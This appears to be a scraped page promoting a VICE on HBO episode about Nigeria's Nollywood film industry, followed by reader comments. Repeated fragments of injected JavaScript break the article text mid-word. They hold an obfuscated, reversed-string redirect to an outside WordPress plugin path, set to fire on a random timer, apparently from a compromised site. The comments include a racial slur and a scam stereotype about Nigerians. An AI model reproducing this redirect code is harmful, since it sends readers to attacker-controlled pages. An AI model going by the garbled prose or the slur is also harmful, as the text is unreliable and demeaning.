We Tried Making It In “Nollywood,” Nigeria’s Booming Film Business: VICE on HBO, Full Episode

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Nigeria’s film industry in booming. Nollywood has quickly grown intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a $3 billion dollar industry that is creating a new generation of Nigerian filmmakers.

Nollywood began with the 1992 dramatic thriller, “Living in Bondage.“ The film reveals a stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory about a man who is haunted by his wife’s ghost after sacrificing her toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a cult.

The VHS masterpiece inspired an entire movement of DIY filmmaking in Nigeria, and these unique narratives that are authentic toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Nigeria have made Nollywood highly popular across Africa and its diaspora audience.

Nollywood produces thousands of movies per year, most of them on shoestring budgets and made within days. These movies have a widespread reach and are entertaining audiences in rural and urban settings alike — from makeshift street barbershops and beauty salons toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to local cinemas and online streaming services like iROKOtv and even Netflix.

This shift toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to digital is re-defining the existing Nollywood model while creating a new generation of Nigerian filmmakers, who are making high-production value films for the big screen and digital streaming platforms.

VICE’s Thomas Mortoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton traveled toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Nigeria toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to spotlight the world’s second largest film industry as he attempts toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to become a Nollywood actoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor himself.

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36 thoughts on “We Tried Making It In “Nollywood,” Nigeria’s Booming Film Business: VICE on HBO, Full Episode”

  1. Vani Jay says:

    Yo, he dead ass looked like Tony Montana @ 10:02! That's scary!!

  2. Derowknightly says:

    father Thomas or terrorist Thomas

  3. Josef Stalin says:

    Why are you running?!

  4. Goi Kimberly Kimisopa says:

    So far one of my favourite vice episode

  5. Jeanette Nyatoro says:

    Lol, that director really enjoyed the white guy playing the helpless "terrorist" a bit too much… and idk… i kinda did too

  6. Jeanette Nyatoro says:

    QUALITY CONTENT

  7. Scott Sterling says:

    what's the movie's name

  8. Mojibola Adeyeye says:

    Lol witchcraft features omg so damn funny

  9. Arcadecharm says:

    Cool.I didn't know that nollywood is so big. I only saw abit of nigerian films.

  10. Ano Nymous says:

    "Average, hahah. Average. You were average."

  11. Young MayLay says:

    that fela kuti track at the beginning is killerrrrr

  12. Oluwatosin Olajide says:

    They kept giving him the hardest things to do

  13. winston halder says:

    I don't know why I find this so heart warming

  14. dorothydandridge says:

    But why would they want in the movies though?

  15. lion says:

    aka niggawood

  16. Josephine O. says:

    Okay but what's the movie he acted in?

  17. IMxYOURxDADDY says:

    Nigerians keep sending me spam emails that I have 5million in a trust fund lol they just need my social and a credit card to release those funds

  18. leahofthelions says:

    F E L A

  19. gtg488w says:

    HMM, this is interesting as hell

  20. Greyson Wayne says:

    We should lead Africa..exactly. Hope things better for them

  21. S. Odeyemi says:

    Lol shout out to Segun Arinze! 😀

  22. S. Odeyemi says:

    It's like Bollywood. It's not professional acting but it's very cultural. That's how the people like their cinema.

  23. SuperVro says:

    Nolly wood is utter garbage tho

  24. LDNballer says:

    Fela kuti

  25. Joseph Armenio says:

    I see no wahala with the overreacting abi.

  26. Our New Design says:

    This was fun this was fucking fun.

  27. Carlos Martin says:

    4:59 white priviledge

  28. J Long says:

    hahaha ur so awkward.

  29. Max says:

    I think this is how nigeria will emerge.

  30. Pawo Thero says:

    A country for black people, I want to move there

  31. Sebastian Jsb says:

    In before all the hipster actors moves to Nigeria

  32. Ahmadreza777 says:
  33. Leslie Mills says:

    Beautiful documentary. The directors comments at 7:29 killed me hahaha!!

  34. ageswagg says:

    you just made me want to watch this movie.

  35. Diwas Shrestha says:

    Hollywood's actually third hehehe

  36. Reid Hartley says:

    What do you mean by 3rd “biggest”?

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